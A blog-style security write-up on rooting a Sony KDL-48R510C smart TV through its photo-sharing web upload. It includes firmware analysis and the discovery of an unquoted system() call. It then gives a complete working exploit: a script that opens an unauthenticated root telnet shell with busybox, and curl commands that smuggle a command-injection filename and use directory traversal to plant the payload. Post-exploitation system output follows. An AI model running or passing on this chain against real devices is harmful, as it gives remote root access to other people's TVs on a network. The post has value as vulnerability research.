Hacking the Sony KDL-48R510C Smart TV

I got a new TV! I tried to find a TV that didn’t have “smarts” built-in, but that is surprisingly hard to do these days. Anyway, I ended up getting a Sony KDL-48R510C. After setting it up, I leafed through the paper booklets it came with. Invariably, one of them is chock full of software license terms. To me this says one thing: “here is the list of software that you check for known exploits.”

After setting up the TV, I played around with the features for a bit to understand the different operating “modes” of the device. One of the built-in apps is a photo sharing app where the embedded system in the TV broadcasts a wifi access point for nearby users to connect to and upload pictures and music via an HTTP server that will then be displayed on-screen. This seemed like an excellent candidate for vulnerabilities!


Although the TV claims you need to connect to its broadcast wifi AP to navigate to the photo share app, I found that if I used the TV’s Ethernet port’s IP address, I could reach the web server just fine.

The first step in any security assessment like this one is to take is to pull out the venerable Nmap scanner to check the attack surface.


Wow! If that web server is really what it claims to be, over a decade old, then there must certainly be some kind of well-known RCE exploit and I can take the rest of the night off. Sadly, this was not the case. The surprisingly small number of known thttpd vulnerabilities didn’t work, which indicates that this is a forked/patched version that just never had the banner string updated.

The other open ports in the port scan didn’t show much promise either. Maybe Sony has their shit together now and is making secure products? Hahaha…yeah right. Let’s check out this web app.

The uploading functionality is especially interesting here because it provides a pathway into the system. We know the uploaded data is being stored somewhere in the filesystem, and if we are lucky, only limited validation is done to check that the file is really an image or audio file.

After a couple of minutes with Firefox’s F12 developer tools / the View Source feature in any browser, we can see that the upload is just a JavaScript POST to a CGI executable.


Just messing around, I found that I was potentially able to have blind directory traversal by using / and .. in file names (the uploaded files weren’t showing but the script returned like it was successful, although it could have been silently filtering out the malicious filename). I also found that I could upload things that were certainly not images or media. At this point, I decided it would be nice to have a copy of the web server configuration and its cgi-bin to better understand what craziness was going on.

A quick trip to the internet got me a nice big binary blob to analyse. The KDL-40R510C / KDL-48R510C / KDL-48R550C all use the same firmware package. Other models are probably exploitable too if they share the same vulnerable code. This particular research was done against version PKG4.570SLUSA of the firmware (published 7/28/2015).

When downloading a binary blob firmware, the first thing to do is run the great binwalk program on it to see what it contains. You can get the latest version of binwalk from https://github.com/devttys0/binwalk although your distro may have packages (Kali Linux comes with it installed). The tool found and extracted a non-standard squashfs filesystem. I was able to decompress the filesystem using sasquash, which is a modified version of unsquashfs – available at https://github.com/devttys0/sasquatch. Binwalk can also do entropy analysis of the input file. In this case, you can see that there is clearly some kind of encrypted data in the firmware that we haven’t been able to readily identify/extract. Since the squashfs filesystem we found has what we need for now, I will ignore the rest of the firmware.


The web server config file was readily available and it turns out that it is running as root, with chroot disabled.

I was able to easily find the photo_share_cgi.cgi, which turned out to be an armv7l ELF executable binary. I also found photo_share_server, another executable binary. I ran ‘strings’ on each of them, you can find the long output at http://pastebin.com/Daqm0nsw (CGI file) and http://pastebin.com/pAFxMs9U (server binary). Go take a look at the server binary and tell me what you see when you scroll near the bottom🙂

Although the binaries are stripped of debugging symbols, judging by the log/trace strings left in by the developer, the CGI is a small front end that uses a UNIX FIFO to communicate with the photo_share_server process.

I also noticed a lot of shell commands in the strings output of photo_share_server. This caught my eye because they contained format string specifiers such as %s. If you see this, the chances are decent that you can get command injection if the input is not sanitized. I found a good candidate:

rm -f %s

Opening the binary in the IDA Pro disassembler I found the code cross-reference for the format string. It turns out that the particular format string is used in a call to the C standard libary function named “system()” to delete a file when the total storage is taking up too much space. Since the %s is not quoted, a file name with && or another shell special character sequence could in theory run arbitrary commands. I just needed to know how to trigger this system() call. It wasn’t hard to find the trigger was related to the calls to “du” (which reports disk space usage of a directory).

Note that 7800h = 30720 (amount of KB, equal to exactly 30MB).


Now let’s take everything we discovered and try to craft and exploit!

First I will download a statically linked busybox binary from here: http://www.busybox.net/downloads/binaries/latest/

This Busybox includes telnetd (telnet server), a shell, and all the good stuff we will want (since I don’t really know what is on the system). Busybox rocks!

Next I will make a little shell script and name it “go”:

mount -t devpts none /dev/pts
chmod 755 ./busybox
./busybox telnetd -l /bin/sh -p 9000

This is what we’re going to try to run using command injection.

I’ve got two mp3 files, “big.mp3” and “small.mp3” which I will use to fill up the storage and trigger the command injection vulnerability.

Finally I can use “curl” to upload the files via the CGI script.

curl --form "fileupload=@big.mp3;filename=a.mp3&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd 3rd_rw&&cd photo_share&&sh go>stdout 2>stderr&&a.mp3"

curl –form “fileupload=@small.mp3;filename=a.mp3”

curl –form “fileupload=@go;filename=../../../../../../../3rd_rw/photo_share/go”

curl –form “fileupload=@busybox;filename=../../../../../../../3rd_rw/photo_share/busybox”

curl –form “fileupload=@big.mp3;filename=x.mp3”

curl –form “fileupload=@small.mp3;filename=y.mp3”

If you are lucky, you can telnet into your TV now!🙂

Careful not to break anything … you have now voided your warranty for sure😛


Various outputs:

output of ‘uname -a’:

Linux mt5880 3.0.13 #1 PREEMPT Thu Jun 18 11:20:11 MYT 2015 armv7l GNU/Linux

output of ‘cat /proc/cmdline’:

root=/dev/mtdblock6 rootwait rootfstype=squashfs ro vmalloc=512mb quiet mtdparts=mt53xx-nand:2M(uboot),2M(uboot_env)enc,2M(part_02),2M(part_03),3M(kernelA)enc,3M(kernelB)enc,52M(rootfsA)enc,52M(rootfsB)enc,256k(basic)enc,218M(3rd_rw)enc,8M(perm)enc,256k(reserved)enc,128M(3rd_ro)enc,512k(channelA),512k(channelB),5M(pq),256k(aq),256k(panel),256k(ci),256k(edid),256k(svc),256k(ddb),256k(epg),256k(hdmi),256k(wfdp),10M(eepromA),10M(eepromB),256k(part_27) usbportusing=1,1,0,0 usbpwrgpio=-1:-1,-1:-1,-1:-1,-1:-1 usbocgpio=-1:-1,-1:-1,-1:-1,-1:-1 usbhubrstgpio=82:0 uart_mode=5 msdcgpio=-1,-1,-1,-1,-1,-1 tzsz=16m gpustart=361025536 gpusize=0 gpuionsize=0 androidboot.serialno=XXXXXXXXXXXXXXXX console=ttyMT0,115200n1

output of ‘mount’:

rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
none on /proc type proc (rw,relatime)
none on /sys type sysfs (rw,relatime)
none on /opt type tmpfs (rw,relatime)
none on /dev/shm type tmpfs (rw,relatime)
none on /var/run type tmpfs (rw,relatime)
none on /proc/bus/usb type usbfs (rw,relatime)
ubi2:perm on /perm type ubifs (ro,relatime,bulk_read,no_chk_data_crc)
ubi1:3rd_rw on /3rd_rw type ubifs (rw,relatime,bulk_read,no_chk_data_crc)
/dev/mapper/dm-1 on /3rd type squashfs (ro,relatime)

output of ps:

    1 root      1688 S    init boot  
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
    4 root         0 SW   [kworker/0:0]
    5 root         0 SW   [kworker/u:0]
    6 root         0 SW<  [khelper]
    7 root         0 SW   [kworker/u:1]
   95 root         0 SW   [sync_supers]
   97 root         0 SW   [bdi-default]
   98 root         0 SW<  [kblockd]
  108 root         0 SW   [khubd]
  128 root         0 SW   [kswapd0]
  187 root         0 SW   [fsnotify_mark]
  204 root         0 SW<  [crypto]
  250 root         0 SW   [mtdblock0]
  256 root         0 SW   [mtdblock1]
  262 root         0 SW   [mtdblock2]
  268 root         0 SW   [mtdblock3]
  274 root         0 SW   [mtdblock4]
  280 root         0 SW   [mtdblock5]
  286 root         0 SW   [mtdblock6]
  292 root         0 SW   [mtdblock7]
  298 root         0 SW   [mtdblock8]
  304 root         0 SW   [mtdblock9]
  310 root         0 SW   [mtdblock10]
  316 root         0 SW   [mtdblock11]
  322 root         0 SW   [mtdblock12]
  328 root         0 SW   [mtdblock13]
  334 root         0 SW   [mtdblock14]
  340 root         0 SW   [mtdblock15]
  346 root         0 SW   [mtdblock16]
  352 root         0 SW   [mtdblock17]
  358 root         0 SW   [mtdblock18]
  364 root         0 SW   [mtdblock19]
  370 root         0 SW   [mtdblock20]
  376 root         0 SW   [mtdblock21]
  382 root         0 SW   [mtdblock22]
  388 root         0 SW   [mtdblock23]
  394 root         0 SW   [mtdblock24]
  400 root         0 SW   [mtdblock25]
  406 root         0 SW   [mtdblock26]
  412 root         0 SW   [mtdblock27]
  418 root         0 SW   [mtdblock28]
  433 root         0 DW   [USB_OC]
  460 root         0 SW   [kworker/0:1]
  463 root         0 SW<  [kdmflush]
  465 root         0 SW<  [kverityd_io]
  466 root         0 SW<  [kverityd]
  469 root      1688 S    init boot  
  470 root      2820 S    /bin/sh /etc/init.d/rcS 
  472 root      2820 S    /bin/sh /etc/rc.d/rc.local 
  500 root         0 DW   [DRAM_M]
  501 root         0 DW   [SRM]
  502 root         0 DW   [FlashIO]
  503 root         0 DW   [LedCtrlMsgHandl]
  507 root         0 DW   [VideoMuteNotify]
  508 root         0 DW   [GFX_Thread]
  510 root      2820 S    sh /basic/autorun.sh 
  516 root         0 DW   [ADSPTask Thread]
  517 root         0 DW   [AudDrv1]
  518 root         0 DW   [AudDrv2]
  519 root         0 DW   [AudDrv3]
  520 root         0 DW   [AudDrv4]
  521 root         0 DW   [AudApllMon1]
  522 root         0 DW   [AudApllMon2]
  523 root         0 DW   [AUD_DTV_THREAD_]
  524 root         0 DW   [AudPlayMute]
  525 root         0 DW   [AudDataUpload]
  526 root         0 DW   [AudCdcChg]
  527 root         0 DW   [AudHDMIParser]
  528 root         0 DW   [AudTool]
  529 root         0 DW   [AudHpPlugIn]
  530 root         0 DW   [AudFeedMixSnd]
  531 root      390m S    /basic/app_man -c /basic/am_config -s /basic/am_start
  545 root     1198m S    /basic/dtv_svc --am -input_fifo 
  558 root         0 DW   [WatchDog]
  560 root         0 DW   [CECThread]
  562 root         0 DW   [TU1_TER_Thread]
  563 root         0 DW   [FA_TU1_TER_Thre]
  564 root         0 DW   [TU1_CAB_Thread]
  565 root         0 DW   [FA_TU1_CAB_Thre]
  566 root         0 DW   [TU1_ORX_Thread]
  567 root         0 DW   [FA_TU1_ORX_Thre]
  568 root         0 DW   [TU0_TER_ANA_Thr]
  569 root         0 DW   [FA_TU0_TER_ANA_]
  570 root         0 DW   [TU0_CAB_ANA_Thr]
  571 root         0 DW   [FA_TU0_CAB_ANA_]
  572 root         0 DW   [VSYNC]
  573 root         0 DW   [VDP_XDATA]
  574 root         0 DW   [DI Film Adaptiv]
  575 root         0 DW   [NR main loop]
  576 root         0 DW   [LBOX]
  577 root         0 DW   [MLVdo_thread]
  578 root         0 DW   [VDEC  0]
  579 root         0 DW   [MX_THD0]
  580 root         0 DW   [MX_THD1]
  581 root         0 DW   [Demux]
  582 root         0 DW   [PURGETHREAD]
  583 root         0 DW   [DMXPSITHREAD]
  584 root         0 DW   [DMXAUDTHREAD]
  585 root         0 DW   [DMXRAWTS]
  586 root         0 DW   [SWDMX 0]
  588 root         0 DW   [US_DTD_MonThrea]
  589 root         0 DW   [NA_ANA_MonThrea]
  695 root         0 DW   [SelfDiagErrHand]
  696 root         0 DW   [SelfDiagHandle]
  701 root         0 DW   [IRRXBtn]
  702 root         0 DW   [IRRC Thread]
  732 root         0 DW   [CLI]
  741 root     64532 S    /basic/tty_man 
  781 root         0 DW   [PowerConsCtrlHa]
  836 root         0 SW   [ubi_bgt2d]
  874 root         0 SW   [ubi_bgt1d]
  878 root         0 SW   [ubifs_bgt1_0]
  892 root         0 SW<  [kdmflush]
  894 root         0 SW<  [kverityd_io]
  895 root         0 SW<  [kverityd]
  962 root      101m S    /3rd/dialserver/dialserver 
  964 root     23400 S    /3rd/playready/securetime 
  967 root      300m S    /3rd/netflix/diskCache 
  993 root      336m S    /3rd/sony/qsip_ex/qsip -qws -display directfb:flip=bl
 1004 root      5440 S    wpa_supplicant -Dwext -ira0 -c /3rd/bin/wpa_supplican
 1023 root         0 SW   [RtmpTimerTask]
 1025 root         0 SW   [RtmpMlmeTask]
 1026 root         0 SW   [RtmpCmdQTask]
 1027 root         0 SW   [RtmpWscTask]
 1053 root         0 SW   [MultiChannelTas]
 1075 root      4108 S    /3rd/bin/wpa_supplicant/dhcpd/dhcpd -cf /3rd/bin/wpa_
 1097 root         0 SW   [flush-ubifs_1_0]
 1141 root      4032 S    /sbin/udhcpc --timeout=3 --retries=10 -b -i eth0 -s /
 1168 root     13272 S    /bin/dibbler-client run 
 1197 root     12416 S    /3rd/sony/photo_share/photo_share_server 
 1209 root      3760 S    /3rd/sony/thttpd/thttpd -C /3rd/sony/photo_share/thtt
 1245 root         0 DW   [IMAGE   0]
 1246 root         0 DW   [IMAGE   1]
 1282 root         0 DW   [Feeder_QTask_2]

output of ‘ls -la /’:

drwxr-xr-x   24 root     root          385 Jun 10 08:28 .
drwxr-xr-x   24 root     root          385 Jun 10 08:28 ..
drwxr-xr-x    2 root     root           31 Jun 10 08:25 .smb
drwxr-xr-x   16 root     root          303 Jun 10 08:44 3rd
drwxr-xr-x   19 root     root         2128 Jan  1  1970 3rd_rw
drwxr-xr-x    2 root     root            3 Jun 10 08:25 _3rd
drwxr-xr-x    9 root     root          834 Jun 10 08:44 basic
drwxr-xr-x    2 root     root         1309 Jun 10 08:26 bin
drwxr-xr-x    9 root     root         8912 Jun 18 03:26 dev
drwxr-xr-x   12 root     root          525 Jun 18 03:21 etc
lrwxrwxrwx    1 root     root            6 Jun 10 08:25 fw_upgrade -> 3rd_rw
drwxr-xr-x    2 root     root            3 Jun 10 08:28 gfxdrivers
drwxr-xr-x    3 root     root           44 Jun 18 03:21 home
drwxr-xr-x    2 root     root            3 Jun 10 08:28 inputdrivers
drwxr-xr-x    2 root     root            3 Jun 10 08:28 interfaces
drwxr-xr-x    2 root     root         2009 Jun 18 03:21 lib
lrwxrwxrwx    1 root     root           12 Jun 10 08:25 linuxrc -> /bin/busybox
lrwxrwxrwx    1 root     root            8 Jun 10 08:25 mnt -> /tmp/mnt
drwxrwxrwt    2 root     root           60 Jan  1  1970 opt
drwxr-xr-x    4 root     root          296 Jan  1  1970 perm
dr-xr-xr-x  155 root     root            0 Jan  1  1970 proc
drwxr-xr-x    2 root     root          736 Jun 10 08:30 sbin
drwxr-xr-x   11 root     root            0 Jan  1  1970 sys
drwxr-xr-x    2 root     root            3 Jun 10 08:28 systems
lrwxrwxrwx    1 root     root           16 Jun 10 08:25 tmp -> /dev/shm/shm_tmp
drwxr-xr-x    6 root     root           62 Jun 10 08:25 usr
drwxr-xr-x    4 root     root           37 Jun 10 08:25 var
drwxr-xr-x    2 root     root            3 Jun 10 08:28 wm
Hacking the Sony KDL-48R510C Smart TV